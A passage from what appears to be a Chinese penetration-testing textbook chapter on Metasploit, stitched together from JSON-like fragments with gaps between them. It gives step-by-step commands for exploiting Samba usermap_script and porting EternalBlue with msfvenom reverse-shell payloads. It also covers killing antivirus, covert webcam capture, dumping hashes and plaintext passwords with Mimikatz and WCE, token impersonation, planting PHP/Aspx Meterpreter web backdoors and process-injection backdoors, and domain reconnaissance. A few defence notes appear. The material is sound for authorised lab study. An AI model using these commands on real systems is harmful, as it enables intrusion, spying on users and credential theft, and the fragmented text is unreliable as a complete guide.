5.3.1 使用辅助模块进行端口扫描 辅助模块是Metasploit的内置模块，首先利用search命令搜索有哪些可用端口模块，如图5-2所示。 图5-2 搜索端口模块 从图5-2中可以看到可用的扫描器列表，其中包含了各种扫描类型，下面以TCP扫描模块举例。 输入use命令即可使用该漏洞利用模块，使用show options命令查看需要设置的参数，如图5-3所示。 图5-3 使用辅助模块 在Required列中，被标记为yes的参数必须包含实际的值，其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程，线程数量越高，扫描的速度越多。我们使用set命令设置相应的参数，也可以使用unset命令取消某个参数值的设置，如图5-4所示。 图5-4 设置参数 可以看到，目标机器开了139、135、445三个端口。 知识点： 其实还有两条可选命令——setg命令和unsetg命令。二者用于在msfconsole中设置或者取消设置全局性的参数值，从而避免重复输入相同的值。 5.3.2 使用辅助模块进行服务扫描 在扫描目标机器上运行的服务时，有多种基于服务的扫描技术可供选择，例如VNC、FTP、SMB等，只需执行特定类型的扫描就可以发现服务。 通过search命令搜索scanner可以发现大量的扫描模块，建议读者多尝试不同的辅助扫描模块，了解其用法。使用的步骤与使用端口扫描模块时的基本相同，这里就不演示了，附上一些常用的扫描模块，如表5-1所示。 表5-1 常用的扫描模块及其功能 5.3.3 使用Nmap扫描 在Metasploit中同样可以使用Nmap扫描，Nmap的用法在第3章中已经详细讲过，它不仅可以用来确定目标网络上计算机的存活状态，而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握Nmap的用法可以极大地提高个人的渗透测试技术。 实际使用时，在msf命令提示符下输入nmap，就可以显示Nmap提供的扫描选项列表，如图5-5所示。 图5-5 Nmap参数 现在我们要获取目标主机的操作系统，输入nmap-O-Pn/-p0 URI命令，其中Pn和-p0（数字0）参数的意思是不使用ping的方式，而且假定所有主机系统都是活动的，可以穿透防火墙，也可以避免被防火墙发现，如图5-6所示。 图5-6 系统扫描 可以看到目标主机的操作系统是Windows 2012|7|8.1。"},
    {"text": "未知 5.4 漏洞利用 每个操作系统都会存在各种Bug，像Windows这样有版权的操作系统，微软公司会快速地开发针对这些Bug或漏洞的补丁，并为用户提供更新。全世界有大量的漏洞研究人员会夜以继日地发现、研究新的Bug，这些没有公布补丁的Bug就是所谓的0day漏洞。由于这种漏洞对网络安全具有巨大威胁，因此0day漏洞也成为黑客的最爱。实际上能够掌握0day漏洞的黑客少之又少。 微软公司会针对发现的Bug定期发布补丁，但是否下载更新则取决于用户自身。安全意识薄弱的个人用户或者中小企业常会忽略这些工作，特别是在小公司中，从补丁发布到服务器打补丁需要数星期，虽然打补丁时会涉及机器的重启或死机，对公司业绩没有帮助又增加了自身的工作量，但是未打补丁或补丁过期的操作系统对黑客而言是一个快乐的“天堂”。 下面就假设目标机是Metasploitable2，对Linux机器进行渗透攻击。Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统，主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware、VirtualBox和其他虚拟平台，默认只开启一个网络适配器并且开启NAT和Host-Only。该工具可以在网站http://sourceforge.net/projects/metasploitable/files/Metasploitable2下载。 首先对Linux目标机进行扫描，收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序，如图5-7所示。 图5-7 添加版本扫描 收集到目标机相关信息后，为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务。 Samba是在Linux和UNIX系统上实现SMB（Server Messages Block，信息服务块）协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议，它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。 输入msf>search samba命令搜索Samba的漏洞利用模块，并选择合适的漏洞利用模块，如图5-8所示。 图5-8 搜索Samba的漏洞利用模块 然后Samba服务将返回漏洞利用模块的列表，按照各个漏洞被利用成功的相对难易度进行排序。 因为exploit/multi/samba/usermap_script被标记为“Excellent”，即最杰出而且时间是最新的，为提高渗透成功率，这里选择此模块进行接下来的渗透。 有关漏洞的详细信息可以通过如图5-9所示的命令查看。 图5-9 查看模块的详细信息 输入以下命令即可使用该漏洞利用模块。 Msf> use exploit/multi/samba/usermap_script 然后可以看到Metasploit命令提示符msf>会变成msf exploit（usermap_script）>。 使用如图5-10所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块，因为目标是Linux机器，因此一定要选择Linux的攻击载荷。 图5-10 列举攻击载荷 这里使用如图5-11所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。 图5-11 设置攻击载荷模块 设置被攻击主机IP地址，命令如下所示。 msf exploit（usermap_script）> set RHOST 192.168.172.134 设置漏洞利用的端口号，命令如下所示。 msf exploit（usermap_script）> set RHOST 445 设置发动攻击主机IP地址，命令如下所示。 msf exploit（usermap_script）> set LHOST 192.168.172.136 设置完可以使用如图5-12所示的命令再次确认参数是否已设置正确，。 图5-12 显示设置参数 设置完所有参数变量后，输入攻击命令exploit或者run，如下所示，发动攻击。 msf exploit（usermap_script）> exploit MSF发动攻击成功后会获取目标主机的Shell，为了验证该Shell是目标主机的，可以查询主机名、用户名和IP地址，并与目标主机进行对比，如图5-13所示。 图5-13 攻击目标主机 攻击成功后，可以看到在攻击机和目标机之间会建立一个Shell连接，渗透Windows系统的过程类似，唯一的差别是选择的漏洞利用模块和攻击载荷模块不一样。建议读者多尝试各种Exploit和Payload的组合，以加深理解。 防御方法： Samba服务漏洞发生在Samba版本3.0.20～3.0.25rc3中，当使用非默认用户名映射脚本配置时，通过指定一个用户名包含Shell元字符，攻击者可以执行任意命令。将Samba升级到最新版本即可防御本漏洞。"},
    {"text": "Metasploit提供了一个非常强大的后渗透工具——Meterpreter，该工具具有多重功能，使后续的渗透入侵变得更容易。 获取目标机的Meterpreter Shell后，就进入了Metasploit最精彩的后期渗透利用阶段，后期渗透模块有200多个，Meterpreter有以下优势。"},
    {"text": "5.5.1 进程迁移 在刚获得Meterpreter Shell时，该Shell是极其脆弱和易受攻击的，例如攻击者可以利用浏览器漏洞攻陷目标机器，但攻击渗透后浏览器有可能被用户关闭。"},
    {"text": "输入ps命令获取目标机正在运行的进程，如图5-14所示。 图5-14 获取目标机正在运行的进程 输入getpid命令查看Meterpreter Shell的进程号，如图5-15所示。 图5-15 查看进程号 可以看到Meterpreter Shell进程的PID为984,Name为138.exe，然后输入migrate 448命令把Shell移动到PID为448的Explorer.exe进程里，因为该进程是一个稳定的应用。 完成进程迁移后，再次输入getpid命令查看Meterpreter Shell的进程号，发现PID已经变成了448，说明已经成功迁移到Explorer.exe进程里，如图5-16所示。 图5-16 进程迁移 进程迁移完成后，原先PID为984的进程会自动关闭，如果没有自动关闭可以输入kill 984命令“杀掉”该进程。 使用自动迁移进程命令（run post/windows/manage/migrate）后，系统会自动寻找合适的进程然后迁移，如图5-17所示。 图5-17 自动进行进程迁移 如图5-17所示，系统已经自动把原来PID为1808的进程迁移到308中。"},
    {"text": "先输入sysinfo命令查看目标机的系统信息，例如操作系统和体系结构，如图5-18所示。 图5-18 查看系统信息 输入run post/windows/gather/checkvm命令检查目标机是否运行在虚拟机上，如图5-19所示。 图5-19 查看是否为虚拟机 可以看到当前目标机正运行在一个VMware虚拟机上。 现在检查目标机是否正在运行，输入idletime命令后可以看到目标机最近的运行时间，如图5-20所示。 图5-20 查看运行时间 可以看到目标机正在运行，而且已运行了29分钟16秒。 接着输入route命令查看目标机完整的网络设置，如图5-21所示。"},
    {"text": "图5-22 查看当前权限 接着输入run post/windows/manage/killav命令关闭目标机系统杀毒软件，如图5-23所示。 图5-23 关闭杀毒软件 输入run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议，也就是常说的3389端口，如图5-24所示。"},
    {"text": "然后输入run post/windows/manage/autoroute命令查看目标机的本地子网情况，如图5-25所示。 图5-25 查看网络结构 接着进行跳转，先输入background命令将当前Meterpreter终端隐藏在后台，然后输入route add命令添加路由，添加成功后输入route print命令查看，具体操作如图5-26所示。 图5-26 添加路由 可以看到一条地址为192.168.172.0的路由已经被添加到已攻陷主机的路由表中，然后就可以借助被攻陷的主机对其他网络进行攻击了。 接着输入run post/windows/gather/enum_logged_on_users命令列举当前有多少用户登录了目标机，如图5-27所示。 图5-27 列举当前登录的用户 可以看到系统有shuteer、test、Administrator三个用户，而且Administrator目前登录了系统。 列举了用户之后，继续输入run post/windows/gather/enum_applications命令列举安装在目标机上的应用程序，如图5-28所示。 图5-28 列举应用程序 很多用户习惯将计算机设置为自动登录，下面这个命令可以抓取自动登录的用户名和密码，如图5-29所示。"},
    {"text": "此时就需要用到扩展插件Espia，使用前要先输入load espia命令加载该插件，然后输入screengrab命令就可以抓取此时目标机的屏幕截图，如图5-30所示。 图5-30 抓取目标机的屏幕截图（1） 抓取成功后就生成了一个名为ojJUEbgq的图片，保存在root目录下。"},
    {"text": "图5-31 抓取目标机的屏幕截图（2） 下面介绍几个好玩的命令，查看目标机有没有摄像头的命令为webcam_list，如图5-32所示。 图5-32 查看目标机是否有摄像头 接着输入webcam_snap命令打开目标机摄像头，拍一张照片，如图5-33所示。 图5-33 抓取摄像头的照片 拍摄成功后可以看到截图同样也保存在root目录下，我们打开看看，如图5-34所示。 图5-34 查看抓取的照片 输入webcam_stream命令甚至还可以开启直播模式，如图5-35所示。 图5-35 抓取视频 用浏览器打开上面给出的地址，如图5-36所示。 图5-36 查看抓取的视频 还可以输入shell命令进入目标机Shell下面，如图5-37所示。"},
    {"text": "图5-37 进入目标机Shell 最后输入exit命令停止Meterpreter会话，如图5-38所示。 该命令还可用于停止Shell会话并返回Meterpreter。 图5-38 退出Shell 5.5.3 文件系统命令 Meterpreter也支持各种文件系统命令，用于搜索文件并执行各种任务，例如搜索文件、下载文件及切换目录等，相对来说操作比较简单。"},
    {"text": "● pwd或getwd：查看当前处于目标机的哪个目录，如图5-39所示。 图5-39 查看目标机的当前目录 ● getlwd：查看当前处于本地的哪个目录，如图5-40所示。 图5-40 查看本地的当前目录 ● ls：列出当前目录中的所有文件，如图5-41所示。 图5-41 列出当前目录中的所有文件 ● cd：切换目录，如图5-42所示。"},
    {"text": "图5-42 切换目录 ● search-f*.txt-d c:\\：可以搜索C盘中所有以“.txt”为扩展名的文件，其中-f参数用于指定搜索文件模式，-d参数用于指定在哪个目录下进行搜索，如图5-43所示。"},
    {"text": "图5-43 搜索指定类型的文件 ● download c:\\test.txt/root：下载目标机C盘的test.txt文件到攻击机root下，如图5-44所示。 图5-44 下载文件 ● upload/root/test.txt c:\\：上传攻击机root目录下的test.txt文件到目标机C盘下，如图5-45所示。"},
    {"text": "在主机上如果没有管理员权限，就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作，所以必须将访问权限从Guset提升到User，再到Administrator，最后到System级别。"},
    {"text": "提升权限的方式分为以下两类。 ● 纵向提权：低权限角色获得高权限角色的权限。 例如，一个WebShell权限通过提权之后拥有了管理员的权限，那么这种提权就是纵向提权，也称作权限升级。 ● 横向提权：获取同级别角色的权限。 例如，通过已经攻破的系统A获取了系统B的权限，那么这种提权就属于横向提权。"},
    {"text": "图5-47 查看当前权限 从图5-47中可以看到，当前的权限是Mandatory Label\\Medium Mandatory Level，说明我们是一个标准用户，那么就需要将用户权限从标准用户提升到管理员，也就是Mandatory Label\\High Mandatory Level。"},
    {"text": "下面我们就利用本地溢出漏洞来提高权限，也就是说通过运行一些现成的、能造成溢出漏洞的Exploit，把用户从User组或其他系统用户组中提升到Administrator组（或root）。"},
    {"text": "首先输入getuid命令查看已经获得的权限，可以看到现在的权限很低，是test权限。 尝试输入getsystem命令提权，结果失败，如图5-48所示。 图5-48 输入getsystem命令提权 接着查看系统的已打补丁，传统的方法是在目标机的CMD命令行下输入systeminfo命令，或者通过查询C:\\windows\\里留下的补丁号“.log”查看目标机大概打了哪些补丁，如图5-49所示。"},
    {"text": "这里再利用WMIC命令列出已安装的补丁，如图5-50所示。 图5-50 列出补丁 同样可以看到目标机只打了2个补丁，要注意这些输出的结果是不能被直接利用的，使用的方式是去找提权的EXP，然后将系统已经安装的补丁编号与提权的EXP编号进行对比。"},
    {"text": "比如KiTrap0D（KB979682）、MS11-011（KB2393802）,MS11-080 （KB2592799），然后使用没有编号的EXP进行提权。 因为虚拟机不怎么打补丁，所以我们可以使用很多EXP来提权，这里就用最新的MS16-032来尝试提权，对应的编号是KB3139914。"},
    {"text": "知识点： WMIC是Windows Management Instrumentation Command-line的简称，它是一款命令行管理工具，提供了从命令行接口到批命令脚本执行系统管理的支持，可以说是Windows平台下最有用的命令行工具。 使用WMIC，我们不但可以管理本地计算机，还可以管理同一域内的所有远程计算机（需要必要的权限），而被管理的远程计算机不必事先安装WMIC。 wmic.exe位于Windows目录下，是一个命令行程序。 WMIC可以以两种模式执行：交互模式（Interactive mode）和非交互模式（Non-Interactive mode），经常使用Netsh命令行的读者应该非常熟悉这两种模式。"},
    {"text": "如果你在命令提示符下或通过“运行”菜单只输入WMIC，都将进入WMIC的交互模式，每当一个命令执行完毕后，系统还会返回到WMIC提示符下，如“Root\\cli”，交互模式通常在需要执行多个WMIC指令时使用，有时还会对一些敏感的操作要求确认，例如删除操作，这样能最大限度地防止用户操作出现失误。"},
    {"text": "非交互模式是指将WMIC指令直接作为WMIC的参数放在WMIC后面，当指令执行完毕后再返回到普通的命令提示符下，而不是进入WMIC上下文环境中。 WMIC的非交互模式主要用于批处理或者其他一些脚本文件中。"},
    {"text": "需要注意的是，在Windows XP下，低权限用户是不能使用WMIC命令的，但是在Windows 7系统和Windows 8系统下，低权限用户可以使用WMIC，且不用更改任何设置。"},
    {"text": "WMIC在信息收集和后渗透测试阶段非常实用，可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。"},
    {"text": "图5-51 搜索模块 知识点： 如果搜索不到最新的Exploit，可以输入msfupdate命令进行升级，获取最新的Exploit模块、攻击载荷，或者手动添加相应漏洞EXP（详见第5.7节）。"},
    {"text": "图5-54 查看权限 防御方法： 这个漏洞的安全补丁编号是KB3139914，我们只要安装此补丁就可以了，也可以通过第三方工具下载补丁包打上该补丁。 知识点： 为方便提权，下面附上笔者收集的部分系统对应补丁号，如表5-2所示。"},
    {"text": "表5-2 系统对应的补丁号（部分） 续表 5.6.2 令牌窃取 1.令牌简介及原理 令牌（Token）就是系统的临时密钥，相当于账户名和密码，用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。"},
    {"text": "当然，认证服务器也会给服务器发送一份该证书，用来使服务器认证登录客户端的身份。 ● 客户端将ticket传送到服务器上，服务器确认该客户端的话，便允许它登录服务器。 ● 客户端登录成功后，攻击者就可以通过入侵服务器获取客户端的令牌。"},
    {"text": "2.假冒令牌实战利用 此时假设我们通过一系列前期渗透，已经成功获得了目标机的Meterpreter Shell，首先输入getuid命令查看已经获得的权限，然后输入getsystem，发现提权失败，具体如图5-56所示。 图5-56 输入getsystem命令进行提权 我们先输入use incognito命令，然后输入list_tokens-u列出可用的token，如图5-57所示。"},
    {"text": "图5-57 列出可用令牌 可以看到有两种类型的令牌：一种是Delegation Tokens，也就是授权令牌，它支持交互式登录（例如可以通过远程桌面登录访问）；"},
    {"text": "从输出的信息可以看到分配的有效令牌包含WIN-57TJ4B561MT\\Administrator，其中WIN-57TJ4B561MT是目标机的主机名，Administrator表示登录的用户名。"},
    {"text": "计算机中的每个账号（如果是域服务器，则为域内的每个账号）的用户名和密码都存储在sam文件中，当计算机运行时，该文件对所有账号进行锁定，要想访问就必须有“系统级”账号。"},
    {"text": "在Meterpreter Shell提示符下输入hashdump命令，将导出目标机sam数据库中的Hash，如图5-59所示。 图5-59 导出Hash 在非SYSTEM权限下远行hashdump命令会失败，而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题； 而另一个模块smart_hashdump的功能更为强大，可以导出域所有用户的Hash，其工作流程如下： ● 检查Meterpreter会话的权限和目标机操作系统类型。"},
    {"text": "● 首先尝试从注册表中读取Hash，不行的话再尝试注入LSASS进程。 这里要注意如果目标机的系统是Windows 7，而且开启了UAC，获取Hash就会失败，这时需要先使用绕过UAC的后渗透攻击模块，如图5-60所示。 图5-60 导出域内的Hash 可以使用暴力或者彩虹列表对抓取到的Hash进行破解，个人推荐http://www.cmd5.com/或者http://www.xmd5.com/这两个网站。"},
    {"text": "2.使用Quarks PwDump抓取密码 PwDump是一款Win32环境下的系统授权信息导出工具，目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本，而且相当稳定。"},
    {"text": "它目前可以导出： ● Local accounts NT/LM hashes+history本机NT/LM哈希+历史登录记录。 ● Domain accounts NT/LM hashes+history域中的NT/LM哈希+历史登录记录。"},
    {"text": "图5-61 显示帮助信息 这里使用该工具抓取本机Hash值并导出，可以输入QuarksPwDump.exe-dhl-o 1.txt命令导出本地哈希值到当前目录的1.txt。"},
    {"text": "3.使用Windows Credentials Editor抓取密码 Windows Credentials Editor（WCE）是一款功能强大的Windows平台内网渗透工具，它能列举登录会话，并且可以添加、改变和删除相关凭据（例如LM/NT Hash）。"},
    {"text": "这些功能在内网渗透中能够被利用，例如，在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash（也可以从交互式登录、服务、远程桌面连接中获取）以用于进一步的攻击，而且体积也非常小，是内网渗透时的必备工具。"},
    {"text": "首先输入upload命令将wce.exe上传到目标主机C盘中，然后在目标机Shell下输入wce-w命令，便会成功提取系统明文管理员的密码，如图5-62所示。 图5-62 抓取系统明文管理员的密码 默认使用-l命令读取数据格式username:domain:lm:ntlm（这种读取是从内存中读取已经登录的信息，而不是读取sam数据库中的信息），默认的读取方式是先用安全的方式读取，若读取失败再用不安全的方式，所以很有可能对系统造成破坏。"},
    {"text": "图5-63 抓取系统密码 -c参数用于指定会话来执行cmd,-v参数用于显示详细信息，这样才能看到luid信息，-w参数是最关键的，用于查看已登录的明文密码，如图5-64所示。"},
    {"text": "作为一款后渗透测试工具，它可以帮助安全测试人员轻松抓取系统密码，此外还包括能够通过获取的Kerberos登录凭据，绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端（RDP）等功能。"},
    {"text": "在最初渗透阶段之后的大多数时间里，攻击者可能想在计算机/网络中得到一个更坚固的立足点，这样做通常需要一组补充的工具，Mimikatz就是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。"},
    {"text": "Mimikatz必须在管理员权限下使用，此时假设我们通过一系列前期渗透，已经成功获得目标机的Meterpreter Shell（过程略），当前权限为Administrator，输入getsystem命令获取了系统权限，如图5-65所示。"},
    {"text": "虽然Mimikatz同时支持32位和64位的Windows架构，但如果服务器是64位操作系统，直接使用Mimikatz后，Meterpreter会默认加载一个32位版本的Mimikatz到内存，使得很多功能无效。 而且在64位操作系统下必须先查看系统进程列表，然后在加载Mimikatz之前将进程迁移到一个64位程序的进程中，才能查看系统密码明文，在32位操作系统下就没有这个限制。"},
    {"text": "图5-66 查看系统信息 这是一个32位的机器，我们直接加载Mimikatz模块，并查看帮助，如图5-67所示。 图5-67 加载Mimikatz的帮助说明 mimikatz_command选项可以让我们使用Mimikatz的全部功能，需要通过加载一个错误的模块得到可用模块的完整列表，如图5-68所示。 图5-68 查看mimikatz_command的可用模块 我们可以使用“::”语法请求某个模块可用的选项，选定一个模块后也可以使用“::”查看本模块的帮助，例如查看Hash的可用选项有lm和ntlm两种，如图5-69所示。 图5-69 查看模块的帮助 知道了Mimikatz的大概使用方法后，我们既可以使用Metasploit内建的命令，也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。"},
    {"text": "接着直接输入msv命令抓取系统Hash值，如图5-70所示。 图5-70 抓取Hash 输入kerberos命令可以抓取系统票据，如图5-71所示。 图5-71 抓取票据 输入wdigest命令可以获取系统账户信息，如图5-72所示。 图5-72 获取系统账户信息 接着输入samdump命令查看samdump的可用选项，然后输入mimikatz_command–f samdump::hashes命令抓取Hash，如图5-73所示。 图5-73 抓取Hash 从图5-73中可以看出，抓到的目标机的三个用户Administrator、shuteer和test的密码都一样，Hash均为69943c5e63b4d2c104dbbcc15138b72b，通过CMD5解密，得知密码为1。"},
    {"text": "图5-76 查看系统证书 Mimikatz也支持PowerShell调用（Invoke-Mimikatz），脚本地址为https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1。 Mimikatz的功能特性：能够在PowerShell中执行Mimikatz，偷窃、注入凭证，伪造Kerberos票证创建，还有很多其他的功能，如图5-77所示。 图5-77 调用PowerShell下的Mimikatz Mimikatz的一些其他模块包含了很多有用的特性，更完整的特性列表可以在Benjamin Delpy的博客（http://blog.gentilkiwi.com/）上找到。"},
    {"text": "未知 5.7 后渗透攻击：移植漏洞利用代码模块 Metasploit成为全球最受欢迎的工具之一，不仅是因为它的方便性和强大性，更重要的是它的框架。 Metasploit本身虽然集合了大量的系统漏洞利用代码模块，但并没有拥有所有的漏洞代码，它允许使用者开发自己的漏洞模块，从而进行测试，这些模块可能是用各种语言编写的，例如Perl、Python等，Metasploit支持各种不同语言编写的模块移植到其框架中，通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。 所以说，允许使用者开发自己的漏洞模块，是Metasploit非常强大且非常重要的功能。"},
    {"text": "2017年5月12日20时左右，引起全球轰动的“想哭”（WannaCry）勒索软件，在不到1天的时间内，袭击了中国在内的全球近百个国家和地区，学校、企业、政府、交通、能源、医疗等重点行业领域的计算机中的重要文件被加密，相关人员的工作被迫停顿，只有支付赎金方可解锁被加密的文件。"},
    {"text": "经攻击者改造、植入，被泄露在网上的NSA（美国国家安全局）军火库工具“永恒之蓝”（Eternalblue）后，才变成极具传播能力的大杀器，学校、企业、政府等内网环境中只要有一台Windows系统计算机感染，就会迅速扩散到所有未安装补丁的计算机上。"},
    {"text": "5.7.1 MS17-010漏洞简介、原理及对策 “想哭”勒索软件使用到的“永恒之蓝”就是2016年8月Shadow Brokers入侵方程式组织（Equation Group是NSA下属的黑客组织）窃取大量机密文件并公开放出的一大批NSA Windows零日漏洞利用工具系列中的一款。"},
    {"text": "MS17-010漏洞利用模块就是利用Windows系统的Windows SMB远程执行代码漏洞，向Microsoft服务器消息块（SMBv1）服务器发送经特殊设计的消息后，允许远程代码执行。"},
    {"text": "5.7.2 移植并利用MS17-010漏洞利用代码 MS17-010的漏洞利用模块Metasploit虽然已经集成，但是经过测试后被发现不支持渗透Windows 2003系统，但是网络上有支持的渗透脚本，其GitHub下载地址为https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/，如图5-78所示。"},
    {"text": "图5-79 克隆漏洞利用模块 接着将eternalblue_doublepulsar-Metasploit文件夹下的eternalblue_doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下，在Metasploit中，了解漏洞利用代码模块存储的文件夹位置非常重要，不仅有助于寻找不同模块的所在位置，也有助于读者理解Metasploit框架的基本用法，如图5-80所示。"},
    {"text": "图5-80 将模块移动到相应目录 现在去MSF下面重新加载全部文件，如图5-81所示。 图5-81 加载全部文件 现在就可以搜到该脚本了，输入use命令加载该模块，如图5-82所示。"},
    {"text": "图5-82 搜索并使用该模块 将MS17-010漏洞利用代码移植到Metasploit框架后，就可以开始渗透测试了，在攻击之前要先生成一个DLL文件，如果目标机是32位的系统就生成32位的DLL，是64位的系统就生成64位的DLL。"},
    {"text": "64位：msfvenom-p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444-f dll-o ～/eternal11.dll 32位：msfvenom-p windows/meterpreter/reverse_tcp lhost=172.19.186.17-f dll-o～/eternal11.dll 在使用该漏洞模块时，要按照实际情况设置以下参数。"},
    {"text": "Set PROCESSINJECT lsass.exe（Intel x86和Intel x64都可以） SetRHOST192.168.12.108 Set TARGETARCHITECTURE x86 SET WINEPATH /root/.wine/drive_c（默认DLL生成文件夹，可以修改） Set payload windows/meterpreter/reverse_tcp Set LHOST 192.168.12.110 SET LPORT 4444（该端口不可修改，否则无法成功） Set target 9 全部设置完成后，如图5-83所示。"},
    {"text": "● 为计算机安装最新的安全补丁，微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞，网址为https://technet.microsoft.com/zh-cn/library/security/MS17-010。"},
    {"text": "简单地说，后门就是一个留在目标主机上的软件，它可以使攻击者随时连接到目标主机。 大多数情况下，后门是一个运行在目标主机上的隐藏进程，它允许一个普通的、未经授权的用户控制计算机。 5.8.1 操作系统后门 后门泛指绕过目标系统安全控制体系的正规用户认证过程，从而维持我们对目标系统的控制权，以及隐匿控制行为的方法。"},
    {"text": "将ShellCode注入其他进程，还有另外一项优势：即使目标系统的安全防护工具能够监视可执行程序的完整性，只要它不检测内存，就发现不了（插进程）后门程序的进程。"},
    {"text": "首先可查看程序的PID（在Linux系统下输入ps-aux命令，在Windows系统下输入tasklist命令），如图5-85和图5-86所示。 图5-85 在Linux下查看PID 图5-86 在Windows下查看PID 在使用Cymothoa时，需通过-p选项指定目标进程的PID，并通过-s选项指定ShellCode的编号，ShellCode的编号列表如图5-87所示。"},
    {"text": "可以看到，Meterpreter会话已经在目标机器系统中建立起来了，现在输入sessions命令查看已经成功获取的会话，可以看到当前有两个连接，如图5-90所示。"},
    {"text": "由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行一些危险的操作获得某些敏感的技术信息，或者通过渗透操作提权，从而获得服务器的控制权。 这也是攻击者控制服务器的一个方法，比一般的入侵更具隐蔽性。 Web后门能给攻击者提供非常多的功能，例如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。"},
    {"text": "其实Metasploit框架中也自带了Web后门，配合Meterpreter使用时，功能更强大。 1.Meterpreter后门 在Metasploit中，有一个名为PHP Meterpreter的Payload，利用这个模块可创建具有Meterpreter功能的PHP WebShell。"},
    {"text": "我们可以通过Metasploit的msfvenom工具制作PHP Meterpreter，命令如图5-91所示。 图5-91 制作PHP Meterpreter 针对上述命令的参数说明如下所示。"},
    {"text": "图5-92 查看生成的shuteer.php内容 然后将shuteer.php上传到目标服务器，这里因为是虚拟机，所以就直接复制到Kali下的/var/www/html目录，打开WebShell网址，如图5-93所示。 图5-93 复制到Kali的/var/www/html目录下 接着启动Msfconsole，使用以下命令设置监听，如图5-94所示。 图5-94 设置监听命令 然后打开http://127.0.0.1/shuteer.php，如图5-95所示。 图5-95 打开shuteer.php 回到MSF下面，可以看到服务端已经反弹成功，如图5-96所示。 图5-96 反弹成功 最后使用sysinfo和getuid等Meterpreter命令渗透目标主机。"},
    {"text": "2.Aspx Meterpreter后门 本节要介绍的是Metasploit下名为shell_reverse_tcp的Payload，利用这个模块可创建具有Meterpreter功能的各版本ShellCode，例如比较常见的Asp、Aspx、msi、vbs、war等，下面以Aspx为例。 在攻击中使用Aspx Meterpreter后门的步骤和Metasploit PHP Shell的大概相同。"},
    {"text": "generate-t asp //生成Asp版的ShellCode generate-t aspx //生成Aspx版的ShellCode 这里生成一个Aspx版的WebShell，内容如图5-98所示。 图5-98 生成Aspx版的WebShell 我们把内容保存为aspx.aspx，再上传到目标服务器，这里因为是虚拟机所以直接复制到Windows 2012下的C:/inetpub/wwwroot目录，如图5-99所示。"},
    {"text": "use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set Lhost 192.168.31.247 set lport 4444 run 然后打开http://192.168.31.250/aspx.aspx，如图5-100所示。"},
    {"text": "图5-100 打开网页 回到MSF下面，可以看到服务端已经反弹成功，如图5-101所示。 图5-101 反弹成功 最后可以使用sysinfo和getuid等Meterpreter命令渗透目标主机。"},
    {"text": "未知 5.9 内网攻击域渗透测试实例 5.9.1 介绍渗透环境 首先介绍此次渗透的环境：假设我们现在已经渗透了一台服务器PAVMSEF21，该服务器内网IP为10.51.0.21。"},
    {"text": "5.9.2 提升权限 上传免杀的Payload到机器名为PAVMSEF21、IP为10.51.0.21的服务器上，然后在“中国菜刀”或者WebShell下运行，如图5-103所示。"},
    {"text": "我们先尝试利用本地溢出漏洞提权，即使用本地漏洞的利用程序（Local Exploit）提升权限。 也就是说，通过运行一些现成的、能造成溢出漏洞的Exploit，把用户从User组或其他系统用户组提升到Administrator组（或root）。"},
    {"text": "图5-106 利用Bypass UAC提权 使用Bypass UAC模块进行提权时，系统当前用户必须在管理员组，而且用户账户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”，而且Bypass UAC模块运行时会因为在目标机上创建多个文件而被杀毒软件识别。"},
    {"text": "其实提权没有成功也不要紧，我们还是可以以此服务器为跳板，攻击其他服务器的。 5.9.3 信息收集 虽然此时的提权不成功，但还是可以进行域渗透测试的。"},
    {"text": "首先要查看当前机器的网络环境，收集域里的相关信息，包括所有的用户、所有的计算机，以及相关关键组的信息，下面列出了常用的命令及其作用，如图5-107～图5-112所示。 ● net user/domain：查看域用户。 ● net view/domain：查看有几个域。 ● net view/domain:XXX：查看域内的主机。 ● net group/domain：查看域里面的组。 ● net group“domain computers”/domain：查看域内所有的主机名。 ● net group“domain admins”/domain：查看域管理员。 ● net group“domain controllers”/domain：查看域控制器。 ● net group“enterprise admins”/domain：查看企业管理组。 ● nettime/domain：查看时间服务器。"},
    {"text": "图5-107 查看IP Config 图5-108 查看域内主机 图5-109 查看域里面的组 图5-110 查看域管理员 图5-111 查看域控制器 图5-112 查看企业管理组 通过收集以上信息，我们可以分析出很多重要的线索，例如内网是怎么划分的，各机器名的命名规则，根据机器名尝试找出重要人物的计算机，以及目标机是否为多层域结构，关键是要探测出域管理员的名字和域服务器的名字等信息。"},
    {"text": "不可以直接攻击又分为两种情况：如果是权限不够就需要提升权限； 如果是不能连接到域服务器，则需要攻击内网中某个可以连接到域服务器的服务器，然后以此为跳板再攻击域服务器。 现在因为权限问题不可以直接攻击域服务器，可以采取以下方法继续渗透。"},
